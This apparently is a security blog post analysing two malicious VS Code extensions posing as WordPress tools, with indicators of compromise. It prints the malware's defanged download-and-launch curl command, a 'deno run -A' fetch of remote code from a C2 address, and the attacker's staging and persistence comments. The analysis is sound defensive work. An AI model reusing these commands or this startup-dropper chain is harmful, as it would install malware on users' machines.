Security Platform for AI Agents | Knostic Blog

Analyzing Two Malicious VS Code Extensions Hidden Behind a WordPress Tool

Written by Tamir Isaschar | Jul 21, 2026 8:00:00 AM

Two VS Code extensions, published within days of each other, both marketed themselves as WordPress development tools. Similar names and near-identical descriptions alone wouldn't justify a closer look — copycat listings exist on the Marketplace without any malicious intent. What made these two different was behavioral: both independently triggered the same downloader routine on startup, reaching out to the same external file. That overlap surfaced during a routine AgentMesh review of new Marketplace submissions, and it was enough to investigate further.

This investigation is based solely on static analysis. The VSIX package and the MSI it downloads were both extracted and examined without execution. No code was run, no command-and-control infrastructure was contacted, and the final-stage encrypted payload was not decrypted.

Samples Analyzed

Extension Publisher Version AgentMesh Report
JumboKey Core (Jumbo.JumboKey) Jumbo 1.0.2 Extension 329979
JumboKeyCore (JumboCore.Jumbos) JumboCore 1.0.0 Extension 390048

What the extension presents

JumboKey Core presents itself as a WordPress and WooCommerce theme editor: a file browser, a PHP template manager, and a WordPress Admin panel, all built into VS Code. The icon is clean, and the extension registers a command, a status bar entry, and a webview with authentication fields. WordPress development inside VS Code is a real use case, so the pitch is plausible — nothing about the presentation itself signals a problem.

Before reading any code, one field in package.json stood out: the repository entry points to a read-only mirror of an unrelated WordPress.org plugin called "Jumbo Share," a social-sharing plugin with no connection to this extension. On its own, a mismatched repository link could be an innocent copy-paste error — but it was enough reason to keep reading.


Figure 1. Relevant metadata from package.json showing automatic startup activation and a repository reference unrelated to the advertised functionality.

The WordPress UI itself — the file browser, the authentication form, the token generator — turned out to be static HTML inside a webview. No WordPress API is ever called. The interface exists, but it doesn't do anything.

What we found in the code

VS Code calls activate() automatically on startup, with no user interaction required. The declared activation event is onStartupFinished, which fires for every extension that registers it, on every VS Code launch.

This is what activate() runs, every time:

curl -O hxxps://renes[.]sg/npm_jumbokey.msi&start npm_jumbokey.msi

One shell command, two chained actions: download npm_jumbokey.msi from renes[.]sg, then immediately attempt to launch it. On Windows, opening an .msi file through the shell invokes msiexec.

The diagram below reconstructs this flow:


Figure 2. Execution flow reconstructed from static analysis of the published VSIX package. Runtime behavior was not observed during this investigation. Domain and download URL are defanged in the figure.

This exact command appears twice in the code, at two separate call sites:

Call site Runs when Guarded?
First-install call Extension is first installed Yes — install only
Unconditional call Every activation No — runs every startup

The first call site only fires once. The second has no guard condition, so the download-and-launch attempt repeats on every subsequent VS Code startup, not just at install time.


Figure 3. Both exec() call sites in extension.ts. One executes during installation, while the second runs on every VS Code startup. Domain and download URL are defanged.

One more detail: if the download fails, the error surfaces in VS Code's Output panel with the prefix mstsc (startup) error:. mstsc.exe is the Windows Remote Desktop client and has no relationship to this operation — we don't know where that label came from.

How we verified it

The runtime bundle, out/extension.js, is roughly 1.1 MB. The TypeScript source is about 10 KB. javascript-obfuscator at maximum settings accounts for the gap — string encryption, control-flow flattening, dead-code injection — and makes the relevant command difficult to spot in the bundle alone.

What the author didn't remove from the package before publishing made verification possible:

  • src/extension.ts — the original TypeScript source, in plain text, with the exec() calls clearly visible
  • obfuscate.js — the build script, showing the exact obfuscation configuration used
  • out/extension.js.map — a source map linking the compiled bundle back to line numbers in the TypeScript source


Figure 4. Files included in the published VSIX package. The original TypeScript source, source map, and obfuscation script remained in the distributed archive, allowing the obfuscated runtime to be verified.

We decoded the source map and confirmed the exec() calls in the bundle correspond to lines 12 and 29 of extension.ts — the bundled runtime matches the original source.

Following the chain past the MSI

The VSIX only gets as far as putting npm_jumbokey.msi on disk and launching it. We extracted the MSI itself — without running it — to see where the chain goes next.

7z pulled three files out of the installer, all written to %LOCALAPPDATA%\npm_jumbokey\:

File Size Role
delta_tool40.cmd 268 B Launcher, run automatically by the MSI's own custom action
lima43.ps1 1.8 KB Installs a JavaScript runtime, then fetches code from a remote server
tango_agent28.dat 6.0 MB Encrypted blob with no recognizable file signature

The MSI's CustomAction table runs delta_tool40.cmd automatically once installation finishes — no action needed beyond the install VS Code already triggered.

delta_tool40.cmd does one thing: it starts a second, detached PowerShell process to run lima43.ps1, then exits. This lets the installer report a normal, completed install while the real work continues in the background, disconnected from the installer's process tree.

lima43.ps1 checks whether the Deno JavaScript runtime is present and installs it — via winget, falling back to scoop — if it isn't. Once Deno is available, the script's last line runs:

deno run -A hxxp://172[.]94[.]9[.]157/v02910cbfa120d0e28d.js

-A grants that script unrestricted file, network, and process permissions. The URL is fetched directly by Deno; nothing is written to disk at this step by the attacker's own code.


Figure 5. Reconstructed chain from MSI installation through the final network fetch. Domain, IP, and download URL are defanged.

The script itself explains what happens next, in a comment left in the source:

# launcher-1 is compiled on demand by the server at /v02<BUILD_ID>.js.
# It's a tiny eval-loop that fetches launcher-2 (which sets up autorun
# and runs main). Deno fetches it directly — no disk file written by
# our code, only Deno's URL cache populates.

Neither launcher-1 nor launcher-2 was retrieved — doing so would mean contacting the C2 server, which was outside the scope of this static investigation. Based on that comment, a second-stage script fetched by launcher-1 is described as configuring persistence and running a "main" routine, and tango_agent28.dat is the most likely candidate for what "main" executes.

tango_agent28.dat measures exactly 6,291,456 bytes (6 MiB) and has 8.0 bits/byte of entropy — indistinguishable from random data, consistent with strong encryption (AES or ChaCha20, for example) rather than plain compression. No format signature, string, or header is recoverable from it. We were not able to determine what it decrypts to.

Searching open sources

We checked the extracted indicators against public threat-intelligence sources and found no prior reporting tying these indicators to a documented campaign. The technique itself isn't new: StepSecurity documented the same onStartupFinishedexec() → external download pattern in the IoliteLabs Solidity extension incident in March 2026. The mechanism matches; the infrastructure is different. The MSI-stage indicators (the C2 IP and URL) were not run through this same open-source check; that pass covered the Stage 1 delivery domain only.

What this investigation shows

Both Jumbo.JumboKey and JumboCore.Jumbos attempt to download and launch an external MSI installer on VS Code startup — a behavior with no relation to the WordPress tooling either one advertises. Static analysis of that MSI shows it installs a CMD launcher and a PowerShell dropper that detach from the installer's process tree, install a Deno runtime if one isn't already present, and fetch JavaScript from a remote server over plain HTTP. That JavaScript was never retrieved, and a 6 MB blob staged alongside it remains encrypted.

Every step in that chain — the extension's activation event, the shell command, the MSI's custom action, the CMD launcher, the PowerShell dropper, and the final Deno invocation — is backed by static evidence: source code, extracted files, or MSI table entries. What the chain ends in is not: the last two stages were never executed, retrieved, or decrypted, so we can describe how the payload gets staged but not what it ultimately does.

Indicators of Compromise

Shared indicators — identical across both extensions. Domain and URL are defanged:

Type Value
Domain renes[.]sg
Download URL hxxps://renes[.]sg/npm_jumbokey.msi
Payload filename npm_jumbokey.msi

Extension-specific indicators — per AgentMesh (authoritative for identity and VSIX hash):

Field Jumbo.JumboKey JumboCore.Jumbos
Display name JumboKey Core JumboKeyCore
Publisher Jumbo JumboCore
Version 1.0.2 1.0.0
VSIX SHA-256 (Marketplace-derived) 9ea98af53a6163497ad92860e60e4c767a72d4199e42ae414876bff469c208bb 63688d7765e52cf9800ea0dfc296bc86a448d241108c17c564709a6a844816fc
AgentMesh report Extension 329979 Extension 390048

MSI payload — from static analysis of npm_jumbokey.msi (retrieved from the download URL above, not executed):

Type Value
Filename npm_jumbokey.msi
SHA-256 88db3a2ab831539b6b485de27d63b1bc9e840169624f07ddc8bf54a7b0a49642
MD5 17481d78858a80140cc61055744c0153

Files installed by the MSI — written to %LOCALAPPDATA%\npm_jumbokey\:

Filename SHA-256 Size Role
delta_tool40.cmd fbdaf71ae238858e5b99111294876037e1035c0266c1294de4e692c9dff0a57a 268 B CMD launcher
lima43.ps1 a91440333e5a749e95eb3f9d58674c4af70a08ebf764e78e13cd59398b262ff5 1,783 B PowerShell dropper
tango_agent28.dat fad01fab8aad7d5ec92703092ae411b42fad83e89cf9a1758c5a8b9181a3a30f 6,291,456 B Encrypted payload (undecrypted)

Network / C2 — not contacted; listed here for detection purposes only:

Type Value
C2 IP 172[.]94[.]9[.]157
C2 URL hxxp://172[.]94[.]9[.]157/v02910cbfa120d0e28d.js
Registry key Software\bravo30\npm_jumbokey (value Installed = 1; hive unconfirmed, likely HKCU)

MSI installer identifiers:

Type Value
ProductCode {495E2D0B-5975-4486-A998-4EAC46185B0F}
UpgradeCode {B0595C1F-CD09-484B-9CFF-2E895E702C62}
Manufacturer / Author field bravo30
Subject field romeo_controller10
Build tool msitools 0.106.31-bf14 (Linux-built)